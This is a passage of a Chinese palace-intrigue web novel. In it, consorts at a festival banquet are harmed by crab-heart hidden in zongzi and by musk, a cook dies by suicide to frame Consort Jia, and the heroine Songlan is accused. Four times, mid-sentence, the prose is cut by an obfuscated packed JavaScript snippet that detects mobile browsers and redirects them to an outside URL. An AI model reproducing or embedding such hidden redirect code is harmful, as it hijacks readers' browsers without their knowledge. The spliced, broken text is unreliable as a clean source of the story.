听那小宫女说完话,小内侍面露难色,又同旁边一位女官附耳说了些什么。那女官闻言,便躬着腰,自座席侧面一路上行,走到了上首的皇后身侧,小声地报了些什么。 皇后年纪虽幼,到底浸淫深宫三年,处事并非全无章法。她凝眉听那女官说完后,先是侧首望了皇帝一眼,帝后二人轻声交谈,片刻后,那女官便领了吩咐,又悄然撤到殿外,将皇帝之命复与青竹。 这点动作自然全被上首的妃子们看在眼中。韩妃最是个沉不住气的,撒娇道: “皇后娘娘与陛下伉俪情深,有什么悄悄话都瞒着臣妾们说呢。” 这话实在太急也太蠢,就连素日张扬的嘉妃,闻言也不由得掩面“扑哧”笑了。 皇后年少,这些年来只担着中宫虚名,与皇帝并无夫妻之实,在阖宫内并不是秘密。皇帝对她全无男女之情,只当幼妹护着。此言一出,无异于直下了皇后的脸面。而崔皇后尚未色变,皇帝却沉了脸色,叱道: “来李朝五年,韩妃若是还未学好官话,朕便派尚宫局的嬷嬷去,再好好教一教你。” 被皇帝这么兜头盖脸的一骂,韩妃顿时白了脸色,起身告罪道: “臣妾失言,还望陛下恕罪。” 皇后面露愁色,道:“昭庆殿的青竹来报,舒贵嫔今日身子突然不好。臣妾已召了章太医来问话。” 虽隐有担忧,皇后说话倒还不失从容,“贵嫔的身子一向是章太医照看着,想必会有说法。” 好好的端午家宴,先后两名妃嫔出事。皇帝拧了拧眉心,挥手道:“那便叫章之同进来回话吧。” …… 众人心思各异,这顿饭吃得亦是没了滋味。 约莫半柱香的工夫,自殿门外进来一位须发皆白的太医,正是太医院院判章之同。青竹绞着帕子垂首跟在其后,脸色苍白,只一对儿眼圈又红又肿,似是哭过。 一时间舞乐之声暂停,青竹先上前带着哭腔跪报道: “陛下、皇后娘娘容禀。今夜夜宴,我家娘娘……照例是来不了的。可到底念着过节,奴婢们便合计着将宫中赏赐的粽子呈与娘娘吃了。娘娘见着那粽子,原本还很高兴,说……说是想起了从前在南边的日子。” 青竹抽噎了一下,继续道:“奴婢们见娘娘难得性质高些,忙热了那两只咸粽给娘娘吃。可是前头还好端端的,刚吃完那只鲍鱼粽子,便……便突然不好了。娘娘自落下了病,每逢小日子都要受苦。可……可也从未像今日这般……” 青竹咬住牙,低低地垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319014|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了头,似是觉得有些难以启齿。章院判见状,拱手上前一步,接道: “回皇上,微臣已为贵嫔娘娘扶脉。娘娘体弱,素有经行腹痛之症。此番月信未至,却突然淋漓下红不止,乃是误食了大寒之物所致。微臣已为娘娘开了补血凝气的方子,只要停了不洁的饮食,再调理几日,便无大碍了。” 以崔皇后的年纪,天癸是否已至尚未可知。章院判一番话,皇后实在听得懵懵懂懂。 见势,德妃先是抬眸望了皇帝一眼,见皇帝点点头,她这才发话: “舒贵嫔身子不好,最忌食寒凉。因着这个缘故,贵嫔素日的膳食都是在小厨房单做的。这负责贵嫔饮食的奴才是怎么当差的,怎会让贵嫔的饮食中出现大寒之物呢。” 青竹白着一张脸慌忙跪地道:“回娘娘的话,昭庆殿中素来是奴婢负责制膳。只是平日的菜色奴婢都是遵着章院判开的药膳方子做,今日奴婢所制之膳也已给章院判瞧过,并无不妥,还请娘娘明察啊。” 闻言,嘉妃讽笑一声,“照你这么说,难道那寒性之物还会自己长了腿,跑到贵嫔身子里不成?” 德妃皱眉道:“哦?照你这么说,问题不出在昭庆殿的小厨房了?” 青竹跪在原地,浑身颤抖,已是摇摇欲坠。 章院判道:“回娘娘,微臣已将贵嫔娘娘所食之物一一验过,青竹姑娘所制膳食确无不妥。问题只出在那品粽子上——” 她话还未说完,容月已是满面仓皇,抢声道: “鲍鱼火腿皆是性平温热之物,今日在场的主子们也都吃了粽子。娘娘身子不适,与那粽子又有何干?” 一时间众人的目光皆聚焦过去。容月自知失言,忙缩回座椅上,可那紧咬着的唇,和手上紧紧攥着着帕子发白的指骨,还是出卖了她心中的不安。 章院判也瞧了她一眼,停顿了一下,便继续道: “这位小主所言不错。鲍鱼,火腿确是温性食材。然微臣细细辨了,那品鲍鱼虾仁粽子中多添了一物,性属大寒,若月信中的女子误食,便易导致下红不断,行经疼痛。” 话说至此,不少人都将目光都聚集在了容月身上。当初她被嘉妃任命时有多风光,如今焦虑不安的样子就有多狼狈。 也难怪她要着急:今日分发的巧粽人人有份,连皇帝亦尝了几口。若真有问题,往大了说,有谋害帝君的嫌疑。 金龙大宴桌前,帝后俱是面沉如水,眉目生寒。内眷家宴上出了如此大事,伤的是皇家颜面。 还未等皇帝出言,负责此次端午节典的嘉妃已是苍白了脸,银牙紧咬,起身盈盈拜道: “臣妾失职,甘愿领罚。” 李徴沉声道:“先听章太医说完,你再领罚不迟。” 得了皇帝首肯,章之同便道: “鲍鱼虾仁粽子以海味为馅,口味腥膻,是以其中掺杂了一味蟹心,同属水产,便很难尝出异样。而蟹心性寒,寻常人吃了亦对脾胃有损,舒娘娘贵体孱弱,误食后症状便更严重。各位娘娘日常饮食中亦要小心辨识,此物若多食,寒气积累体内,轻则导致宫寒,重则伤了根本,会引发女子不育之症啊!” 14. 惊变 章之同话音刚落,在场的女眷们皆是遽然色变。 身为内廷女子,最大的指望便是绵延子嗣,乍闻饮食中被添加了伤生育的寒物,不少人满面惊慌,以帕掩口,几欲呕吐。 想来若非身在人前,顾忌着体面,这些宫妃们怕是乐意不顾形象,抠喉咙也要将那“脏东西”呕出来。 立时,众妃嫔的座次最末走出来一个宫女,惶惶然跪在大厅中央,叩首道: “陛下容禀。奴婢乃是太微宫临月阁伺候吴采女的紫铜。我家小主为着今日献艺,很是下了一番苦功,便是怕生出什么差错,御前失仪。小主素日在临月阁练舞,吃的苦受的累奴婢们都看在眼里。小主舞艺高超,从未失手。” 她抹了把泪,颤声道:“可是我家小主与容贵人同住一宫,容贵人对我家小主献……献舞一事,多有不屑,常出言不逊。因着容贵人位分在我家小主之上,小主一概忍了。可容小主得了主理巧粽的差事,便常在太微宫小厨房试膳,制出的粽子,便常叫我们小主去尝。而就是尝了这粽子后,小主的月信已……已来了半月有余了!” 寻常女子癸水,时常往往只在七日左右。若按紫铜所言,那么吴采女亦是在不知情的情况下,误食了这粽子中的蟹心,这才导致月信有异,殿前失仪。 韩妃拧着嘴轻声道:“当着这么多人的面老谈甚么‘月信’‘下红’的,也不觉臊得慌。” 皇帝的眼神已冷得像冰塑的利刃,霎时便向韩妃射去。韩妃今日已惹了皇帝不快,一时间不由得浑身一震,慌忙低下头去。 李徴压抑着怒气,沉声道:“宣替吴采女看诊的太医上来。” 宫正司的女官自领命而去。不一会儿,便有一个身背药箱,长身玉立的太医进殿而来。好巧不巧,正是祝诚。 他下跪行礼道:“给陛下请安。微臣已替吴小主看诊。吴小主身强体壮,并无隐疾,小主亦自诉月信一向准时,只是本月有异。依微臣所断,吴小主应是误食了寒性、伤身之物,这才导致肾气虚弱,下红不尽。” 两个太医并未见面,却先后给出了相同的诊断。嘉妃见皇帝面色不虞,忙出列下跪,请罪道: “还请陛下治臣妾失察之罪。不过,此事臣妾确实不知,而端午节饮食俱由骆尚食负责,还请陛下给臣妾一个机会,容臣妾召她进来问话。” 言罢,扭身恶狠狠刺了容月一个凌厉的眼刀。而容月早已吓得六神无主,在座椅上呆若木鸡,连请罪都忘了。 而颂兰心中,早已闪过万般思绪。容月枉担才名,眼见着是个草包,什么心事都写在脸上。她虽嫉恨吴氏出头,想来倒也不至于出此下策,伤敌八百自损一千。 颂兰本以为此事是嘉妃手笔,可她前世与嘉妃打的交道不算少,见她如此模样,倒真像不知情…… 正思量间,忽闻得身旁一声惊呼,她骤然扭头,竟是杜氏已双唇苍白、面如金纸,捂着小腹瘫倒在了座椅上。她身后的婢子高声疾呼“娘娘”,伸手去扶,却因着力气太小,拽不住杜侧妃向下滑落的身躯。 而杜侧妃身下,已然漫出了些许鲜红的血迹。 颂兰前世到底是见识过生育的女人,瞬间就明白了眼下发生何事,尚来不及思考,便扑过去与垫在了杜侧妃身下。失去气力的女子身体压得她脊背一痛,颂兰却顾不得那许多,下意识高喊: “侧妃娘娘见红,快拿艾叶炭来熏,再煎了仙鹤草参汤来,要快!” 电光火石间,她抬头与祝诚对视了一眼。只一刻——祝诚是个聪明人,瞬间便会了意。此番他承了颂兰的情,又受过她的惠。今日若能救下杜侧妃,往后他们二人,便将是系在一根绳上的蚂蚱。 …… 好好的一场家宴变成了堂审,若说伤了吴采女、舒贵嫔,皇帝尚且只是微愠,那么闹得平西王爱得如眼珠子般的杜侧妃“血溅当场”,就不是简简单单能糊弄过去的了。 平西王当场就拍案而起,若非殿阶前不得持尺兵,他怕是能当场挥刀砍死几人。 皇帝好说歹说,终于劝得他匆匆下去,到偏厅陪着杜侧妃诊治。不一会儿,骆尚食便跟在宫正司女官身后徐徐进了殿。 她已至不惑之年,眉目间皆透着淡然和顺,只是方一跪下,一字一句吐出的净是惊人之语: “奴婢做下的孽,甘愿一人领受。还望陛下切莫迁怒嘉妃娘娘,一切与嘉主子无关,皆是奴婢一人的主意。” 这话说得实在奇怪。字字撇清嘉妃,却又好像字字点着嘉妃。 况且,宫中谁人不知,六尚局虽为内廷官署,却各有背靠的大树。淑妃一向同尚功局亲厚,尚寝局、尚仪局乃是德妃的嫡系。 而六尚局中除去尚服局,便是尚食局与嘉妃关系最是紧密。 嘉妃闻言亦是骤然色变,惊怒之下竟是不顾体面,“啪”的一声,便是一个清脆的巴掌落在了骆尚食脸上。 这一掌用了十足的力气,骆尚食的头被打得歪向一边,发髻上的桃心捧鬓亦被甩落在地,发出“丁零”轻响。 “你这贱婢,休要胡言!本宫只命你好生操持此次祭典,咸福宫、尚食局上下皆是认证。若是你手下哪个司膳,或是协理的容贵人错了主意,你尽可告发,本宫和皇上都在此,自会替你主持公道!” 再转过来时,骆尚食脸上已然浮起一片鲜红的掌印。而相比起嘉妃的急躁,她却显得很平静。 “娘娘,做下的事,便是做下了,何苦攀咬旁人。” 她淡淡一笑,俯身叩拜,“奴婢自知罪孽深重,一朝错了主意,伤了平西王侧妃腹中胎儿,愿以死谢罪。” 说罢,竟是没有丝毫犹豫,起身便撞在了大殿侧首高大的碧玉错金螭兽香炉上。这一下丝毫没有收力,只见她头颅与香炉的撞击处登时便溅出一道淋漓血迹。在场有胆小的女眷,惊叫之下当场便吓昏了过去。 颂兰亦是心中猛地一跳,下意识别开脸,再抬首望向那个方向,骆尚食连脖颈都撞折了,死相惨烈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319015|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温热的血沿着错金香炉镂刻的祥瑞纹样淌下来,有些滴漏进炽热的夹炭层中,烘发出“哧”一声和着血腥气的异响。 嘉妃被这血淋淋的场面骇得面色惨白,瘫软在地上——她大概并不明白,为何有人会愿意用死来诬陷她。骆尚食什么都没说,可却比什么都说了更有效。若是真正的真相不见天日,那么这团谋害命妇的疑云将永远盘旋在嘉妃头顶,教她无法洗净。 崔皇后被吓得面无人色,终于顾不得皇后威仪,只下意识地往表哥身旁躲了躲。李徴握住皇后冰冷的小手,张宝察言观色,忙喊到: “都是干什么吃的,还不快将这罪妇的尸首收敛了,别叫腌臢物污了贵人的眼睛!” 身后的小黄门忙躬身跑上前去,将骆尚食的尸身敛走。 瞬息之间,情势已是急转直下。皇帝似是累极,闭了闭目,再睁开眼时,殿内只空余香炉上两道阑珊的血痕。 他寒声道:“若是六弟的侧妃有虞,便将罪妇尸身弃于乱葬岗,不必来回朕了。” 事已至此,皇帝不准告退,在场诸人皆屏息等待着杜侧妃的诊治结果。 颂兰凝眉望着桌上已完全冷掉的粽子,米粒上头凝了一层厚厚的油脂。前世杜氏似乎亦有过小产的消息,可是那是发生在平西王府中。眼下看来,她的小产并非府中宅斗,而是宫中人的手笔。 而若说这一事有什么改变了,那便是…… 祝诚自殿外匆匆跑来,满头是汗,跪地回道: “皇上,杜侧妃腹中的孩儿暂时保住了。只是若仅是今日进食的些许蟹心,并不足以致人小产。微臣与章院判已为侧妃扶脉,脉象显示……” 他顿了顿,似乎有些难以启齿。而皇帝显然已被今日连环的事故扰得耐心全无,只震声道:“说!” “娘娘贵体有近期摄入过麝香的症状。只是份量轻微,并不易察觉。再加之寒物影响,这才有了滑胎之兆。” 他微微偏头,望了一眼杜侧妃空着的位置,眼神不易察觉地在颂兰身上拂过。片刻后,终是垂首道: “侧妃娘娘母体孱弱,今日情势凶险,若非蕙小主及时发觉异样,叫微臣们及时用上了艾叶,恐怕娘娘这胎是凶多吉少了。” 德妃抚着袖口,道:“蕙选侍入宫时日尚浅,和祝太医倒好似是老相识。” 祝诚忙道:“蕙小主前些时日受惊抱病,正是微臣替小主诊治,这才对小主有些印象。侍奉主子娘娘们本是微臣的分内事,微臣不敢不尽心。” 见他这般说,德妃便也不在此事上再纠结,却是嘉妃仿佛抓住了救命稻草般,急忙撇清道:“麝香常见,寻常香料中皆可能含有此物。若是杜侧妃月份尚浅,不知自己怀有身孕,误用了也是有的。” 祝诚面露难色,“陛下容禀,只是据侧妃娘娘的贴身侍婢所言,娘娘素日是从不用香的,王爷亦知此事。这麝香的来源,只怕还要再查一查。” 这便是要将矛头,指向今日出席的女眷们了。 15. 麝香 一时间,座位远离杜侧妃的宫嫔们都暗自舒了口气。 杜氏要接触到麝香,总得在近身范围内罢?若是从头到尾都没靠近过她,自然更容易摘得干净。 张宝早已安排宫正司同内侍监的女官太监们搜查六局和各妃嫔们的宫室。行走御前,看的就是一个眼力见,若事事都要皇帝开金口再吩咐,他的差事也算是当到头了。 德妃掩唇道:“麝香此物长久使用,会伤了女子根本。尚功局、尚服局做的脂粉香膏,香囊香料一向都很注意。臣妾宫中用香,一向都要嬷嬷们验过,便是怕不慎羼了麝香进去。” 她眼波一转,“若说宫中最爱调弄香料的……非淑妃姐姐莫属了。嘉妹妹经验不足,此次端午祭典的香囊,亦是淑妃姐姐从旁协理着。” 淑德二妃的座次分别位列帝后下手,正是面对着面。迎着德妃刺过来的眼神,淑妃面色分毫不动,只淡然道:“本宫的柔嘉殿,和今日所用之物皆可随意查验。本宫已位列四妃之尊,无端端的为何要去害王爷的侧妃呢。” 淑德二妃在座前打着机锋,平西王李徥踩着沉重的步子从殿外走进来。他阴鸷的眼神四处扫过,粗声道: “皇兄,今日之事,必须给臣弟一个交代!” 李徴长长吁出一口气,“宫正司的薛宫正已在来的路上。” 平西王冷哼一声,大马金刀地走回自己的座次上,抓起桌上的酒壶对着嘴一饮而尽。 过了约莫半柱香的工夫,宫正司的薛宫正便到了。 她身后跟着一高一矮两个女官。高的那人神色平静,矮的那个却是战战兢兢,面上溢满慌张之色。 薛宫正徐徐上前,将一本厚重的书册端端正正地呈与皇帝,即在阶下拜倒,凝声道: “陛下容禀。六局一司,领用一针一线一草一木,皆要登记在册。首先蟹心一宗,奴婢翻看文书,发现尚食局近日领用湖蟹耗材颇大,登记的名目是给嘉妃娘娘制蟹粉酥。” 皇帝的手指随着她的话语翻动,很快便定格在其中一页。薛宫正抬眸望了一眼座上目瞪口呆的嘉妃,“此项皆由王司膳之手领入咸福宫,并由骆尚食盖印。” 嘉妃急道:“本宫出身江浙,喜食蟹粉酥满宫皆知,这算哪门子证据!” 薛宫正回身,拖住她身后那名矮个子女官的肩膀,将她向前拽了两步。矮个子女官踉跄着扑倒在地,双股战栗,只跪在地上叩首不止。 “嘉妃、嘉妃娘娘要吃蟹粉酥一事,皆由骆尚食安排给奴婢,领取新鲜蟹子而已。六局皆知嘉妃娘娘亲近骆尚食,奴婢只是奉命行事!不过骆尚食的确曾在尚食局说,说容小主将吴小主意欲献舞一事禀报给嘉妃娘娘,惹得娘娘很是不快……” 她的声音愈说愈低,到最后只闻些许嗫嚅,“……自那之后,咸福宫便常要蟹粉酥。往时娘娘虽也常要这点心,但确实没有这么勤快!此事,奴婢手下的典膳掌膳皆是人证!” 薛宫正平静道:“典膳、掌膳宫正司已分别审过,证明确有此事。” 嘉妃气得几欲晕厥。她不明白,为何会有如此多莫名其妙的“证据”指向她。她红着眼愤恨道: “本宫贵为妃位,吴氏区区一个采女,便是舞出花儿来,也配本宫亲自动手害她?” 德妃悠然道:“是啊——吴氏或许不配。可平西王正妃,却是你萧氏的族姐啊。” 此话诛心,平西王登时便瞪圆了双眼,双目好似要喷出火来一般,狠狠瞪视着上位的嘉妃。 嘉妃气得花容失色,饱满的胸脯因为动气剧烈起伏着,“萧氏族中那么多女子,本宫难道都要一一认识吗!再者,杜侧妃有孕乃是平西王府中家事,本宫从何得知!况且,本宫如何能断定杜侧妃一定会吃这粽子。六宫皆知这是本宫第一次负责宫中大节,本宫便是害人,也不至于做得如此蠢笨吧!” 德妃讽笑一声,“萧氏势盛,莫说王府家事,那日觐见皇后,嘉妃妹妹可是连前线战事如何都讲得头头是道呢。” 韩妃在一旁隔岸观火,闻言,赶忙落井下石道: “嘉妃娘娘的意思是,您特意指派和吴采女同住的容贵人负责巧粽,而好巧不巧,这粽子既害得吴采女献艺出丑,又害得您族姐在平西王府的眼中钉险些流产。” 她掩唇,幸灾乐祸地一笑,“要我说,这巧粽还真是巧。一石二鸟,简直像您肚子里的蛔虫一般。” 嘉妃十六岁那年初入东宫便被封为嘉嫔。她只知自己美貌又家世高贵,一入宫便成了太子最宠爱的女人。她何曾有过这般狼狈,又何曾领教过“百口莫辩”的滋味? 安排容月来办巧粽,不过一时任性。新美之中她提防着的徐贵人没翻出多少风浪,却是个名不见经传的容月被连封两级,萧元姝便有心寻个由头想刁难她一番。 大家闺秀,有几个擅长庖厨之事。骆尚食是她的亲信,为着巧粽一事,容月没少在尚食局受排揎。素心曾劝过她莫要将外人放进来,给不熟悉的人插手的机会。可容家不过一个无权无势的清流之家,容月亦刚入宫根基尚浅,萧元姝压根不觉得她能翻出什么风浪。何况巧粽一事不过是个添头,并不影响正式的祭典同晚宴安排。 可谁成想,就是这巧粽出了岔子!而直到骆尚食在她眼前就死,她才发觉她好似从未认识过骆氏,亦从未真正认识过这血色的深宫。 萧元姝没了力气,浑身虚软地从椅子上滑落。她跪在地上,秀丽的螓首颓然低垂着,露出满头华丽的珠翠。半晌,只讷讷吐出一句:“皇上,臣妾同您这五年的情分……您、您要相信臣妾的为人,臣妾实在百口莫辩啊!” 骆尚食死无对证。萧氏不缺银钱,她的咸福宫每餐呈上来的点心都有八品,吃不完的东西赏给宫女太监都有富余。她连吃了几回蟹粉酥都搞不清,更别提那蟹子中的蟹心被挖去了哪里! 嘉妃瘫软如泥,跪在皇帝足前的玉阶上不住流泪。李徴盯着薛宫正呈上来的书册,半晌长长吐出一口浊气。 “主事的骆尚食已死。朕已下令不许收敛其尸身,令其曝尸荒野。至于涉事的司膳、典膳、掌膳,并不知内情,到底是无心之失。便一律革职,罚入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324063|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浣衣局为奴。如此,六弟可还满意?” 李徵的声线满含疲惫,而李徥却是连连冷笑,不客气道: “皇兄还是这般妇人之仁!” 他恶声道:“到底是无心之失,还是有意为之,众人心中自有分说。依臣弟看,涉事的贱婢一律打死。至于萧氏,她是皇兄的爱妾,可芫娘,亦是臣弟心中唯一的妻!” 杜氏闺名正是杜芫。看来宫中传言平西王爱重侧妃,果然不假。 李徥身有军功,他这个“平西”的封号,便是先帝在时,他一骑当千平定西北战局获封。李徴登基后,李徥身为虽不再掌兵,可在李朝军中仍有赫赫威名。 此番雷霆一怒,在场女眷皆被他吓得屏息凝气,王司膳更是被吓得昏死在地,“扑通”一声,倒在了地板上。 “到底是有编有籍的女官,怎可随意打杀。罚没为奴,也好叫她们常记着今朝的过错,反思己身。” 李徴眼风扫过阶下跪着的嘉妃,“嘉妃主理端午祭典一事,识人不明,此为失职。降为昭仪,罚月例一年,禁足咸福宫中,思过一月。贵人容氏办事不力,降为常在。” 他淡淡看向李徥,“如此,六弟可还满意?” 李徥冷笑道:“皇兄还真是懂得弃车保帅,臣弟佩服。” 妃嫔被降位乃是大辱,眼下南边战事吃紧,皇帝倚重萧家,对嘉妃只小惩大诫在众人预料之中。可到底给她留了个九嫔之首的体面,容月却是被连降四级,竟连入宫时的才人位分都比不上了。 颂兰美目微垂——皇帝这般,便是将容月彻底当作弃子了。 李徥恶狠狠看了一眼失魂落魄的萧昭仪,“朝中无良将,皇兄要在个妇人面前忍气吞声,真是窝囊。今日一见真叫臣弟开眼,不知皇兄的后宫究竟是姓李,还是姓萧!” 此话掷地有声,在场诸人俱是面色急变。崔皇后怒道:“六弟慎言!” 李徥嘿然大笑,“臣弟鲁钝,当不起小皇嫂的这声弟弟。若是皇兄后宫实在无人,臣弟的后院中还有一位萧氏贤妻,皇兄尽可纳去!” 他着意咬重了“小皇嫂”三字。崔后被气得小脸惨白。李徴眉目阴沉似黑云压顶,锋锐的薄唇抿成一条长线。手上不停搓着大拇指上的翡翠扳指——细看,才能发现皇帝的手指用了十足力气,指节已经隐隐泛白。 颂兰心头一跳,这是他怒极的表现。 往后,李徥是一定要除的。只不过,不在今日。 李徴只是冷声道:“六弟,你僭越了。” “臣弟是个粗人,说话难听,还请皇兄莫怪。” 李徥随意地往椅背上一靠,又问,“那麝香是怎么回事?” 薛宫正端正地站着,闻言抬首先望了望座上的皇帝。见李徴颔首,方从容回道:“麝香价贵,各宫支取皆有定例。通常只有主位娘娘们才有资格使用。奴婢查了这半年来的记档,除了太后娘娘处常取麝香,用于与檀香同焚,其余的……便只有钟粹宫有过领取的记录。” 数道目光瞬间射来,交错在颂兰与胡美人身上。 16. 活饵 此言一出,满座皆寂。片刻后,还是韩妃耐不住性子,率先以帕子掩唇道: “钟粹宫……并无主位。若要说支了麝香,那便只能是舒贵嫔的手笔了。可舒贵嫔一向不问世事,此事总不能是贵嫔的手笔吧。” 德妃眼神扫过场下诸人,“恐怕正是因为贵嫔不问世事,这才给了有心人可乘之机。” 闻言,韩妃望向杜侧妃空着的座位,好像突然发现了什么似的,惊讶道:“哎呀,今日杜侧妃的座位,恰好就挨着蕙……选侍。若本宫没记错的话,蕙选侍似乎就是钟粹宫里的人吧。” 李徴拧眉道:“贵嫔体弱,此事应与贵嫔无关。胡氏,乔氏的住处可搜过了?” 薛宫正身后那名高个子的嬷嬷,便上前一步,垂首回道:“奴婢宫正司女官佩心。回陛下,两位小主的宫室,连同禁足的梁宝林所住的钟粹宫正殿均已查过,并未发现麝香。只在蕙小主的内室中发现了此物,有些可疑,奴婢便将其带了过来,最好请尚服局、尚功局的嬷嬷一并查验。” 说罢,佩心从袖中取出了一个小匣子,上头镶着翠玉珍珠,虽小巧玲珑,却是上上精致的巧物。佩心将匣盖一掀开,便见其中透白的香膏,莹润如玉。 皇帝眼风不露声色扫过乔颂兰。 “蕙选侍,你可有话要说?” 这个美貌娇怯的女子他有印象。雪肤花貌,楚楚可怜,但那娇弱外表下藏着些劲儿劲儿的野心。本性应当不是她外表这般的小白花,但不是的话更好。 李徴不喜欢蠢人。像容氏那样的,就蠢了些。他不介意女子用些无伤大雅的心计,用心,总比一味地犯蠢要好。 颂兰站起,行至殿中回话:“嫔妾浣花坞选侍乔氏。此香名为‘君心笑兰’,古方中此香确需使用麝香和香,不过此匣中的香膏,乃是嫔妾仿古方所制。” 她盈盈拜倒:“嫔妾自知身份低微,万不敢逾矩使用麝香和的调香。那日偶得同住的胡美人所赠‘君心笑兰’香,气味幽雅清新,妾虽蒲柳之身,却亦有一颗向美之心。此匣中的兰香乃是用素馨、玉帘兰花,和了红豆嫩芽汁子与榆树皮粉仿制,只拟其味罢了。” 薛宫正微微一愣,回头与佩心交谈片刻,便垂手道:“钟粹宫确有领用素馨干花的记录。” 见她这般分辩,事态一时间又陷入僵局。颂兰今日本不欲出挑,只穿了条淡鸭壳青的烟纱散花裙,腰间以深绿丝绦系住,愈发显得纤腰袅袅,不盈一握。此刻跪于殿中央回话,正仿若金玉池中绽开一朵嫩莲,风姿楚楚,我见犹怜。 她容貌出尘,不自觉地就招人拈酸。韩妃哼道:“你说胡美人还给你送过一匣香,那怎的宫正司没在你的内室中搜出来?莫不是用那香来做了什么脏事,这才处理掉了吧?” 颂兰故意点出胡美人,不怪有此一问。便是韩妃不提,也有其他人要提的。颂兰还未来得及回话,胡氏却是着急忙慌地站起,哆哆嗦嗦出列拜道: “回陛下,嫔妾确实送过蕙选侍一匣香膏,只是并未料到蕙小主会将那香用来做害人之事,还请陛下明鉴啊。” 胡氏这话说得蹊跷,颂兰心中一跳,却又有种心脏倏地落地的感觉—— 原是在这等着她。 前世她与胡氏交集不多,梁芳玉入宫时,胡氏使的那招破绽百出,也就如梁氏那般心浮气躁者才会上钩。 她当时只以为是胡美人只屈居配殿,心中有忿,这才想法要扳倒梁氏。现在想来,胡氏本就是元孝皇后婢女出身,哪里会是那般在意吃住之人。梁氏身份高贵,只要不一而再再而三地作死,升位本是题中应有之义,早晚也会越过“美人”位分去。 那场冲突不过是个活饵——只一试,便试出了两位新入宫小主的心性。而颂兰在那场争端中出了风头,这才招致了胡美人——又或者说,胡美人背后之人的注意。 这匣名贵的兰花香,既是一招闲棋,也是一次试探。 她大概看清了:今日这局,吴氏、容氏都是幌子,无论蟹心还是麝香,实是冲着杜芫和她腹中的胎去的。 倘若乔颂兰是个蠢的,那便如容月一样,当个沾一身腥的替死鬼。 反正她身上用的香内验出麝香,杜氏体内也验出麝香。若杜氏腹中胎儿不保,她就是有冤也无处分说。她的确没有谋害王妃的动机,可铁证面前,一个低等宫嫔的话,谁会在意? 可若是她能翻了这逆风的死局…… 颂兰的一双手在袖中紧紧交握,不自觉地渗出了些汗。前世她过得浑浑噩噩,只觉得自己像是温昭昭和裴抒手下的提线木偶。无论争宠、算计、宫斗,都是为着旁人而动。 而今重活一世,灵台前所未有地清明。此刻她身如蝼蚁,上位者随手一碾就可教她万劫不复。可她却胸有成算,甚至第一次有了在上位者跟前,为自己出头搏命的实感。 颂兰于是柔柔地笑了。 可还未等她出声,身后却传来小黄门尖而哑的通传:“舒贵嫔娘娘到——” 掀起黛青素缎的门帷,自轿辇上出来个拢着缃色披帛的丽人。她身形纤弱单薄,眼下气候已有了些初夏的熏暖,她却仍紧紧抱着披帛,像是极怕冷的样子。一身暖色裙装并未使她的气色亮丽多少,倒觉得被那颜色一衬,更显得面色青白。 正是久病的舒贵嫔。 因她体弱,皇帝特许她的轿辇行至大殿门口。此番下了轿走进殿里,不过几步路已是行得娇/喘微微,须得左右侍女搀扶着,方可勉强立于大殿之内。 见她颤巍巍要行礼,崔皇后忙道:“贵嫔免礼。” 又忧心忡忡道:“方才青竹才来报你今日身子不适,怎的竟出来了?太医怎么说?” 说话间已有小内侍搬来黄梨木大椅置于贵嫔身前,躬身请她入座。 因着无人赐平身,颂兰便维持着跪姿。舒贵嫔徐徐行过颂兰身边,身上传来淡淡的清苦药气。贵嫔云缎的裙裾拂过青石地砖上镂刻着鸾鸟穿云的细密纹路,在那砖上跪久了,膝盖便隐隐漫开尖锐的刺痛。 舒贵嫔由侍婢扶着慢慢坐下,舒了一口气,这才慢慢道: “方才宫正司前来搜宫,本宫想着许有大事发生,这才前来一观。” 她微微一笑,抬首望向帝后,“也幸亏臣妾撑着一口气来了,否则只怕冤着蕙妹妹,那样,臣妾可要寝食难安了。” 舒贵嫔从前同元后交好,与小皇后崔令容亦很亲密,几乎是看着崔后长大。因此,崔皇后对她很是亲昵,闻言忙道:“贵嫔此话何意?” 舒贵嫔道:“宫正司来时,只言清云馆有大事发生。臣妾挂念着皇后娘娘,便多问了几句。嬷嬷们说,是平西王府上的杜侧妃有恙,因此要在六宫中搜查含香料的东西。” 她咳嗽几声,面上浮上不健康的潮红,好一会儿才理顺了气,缓声继续道:“臣妾乃是久病之人,自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 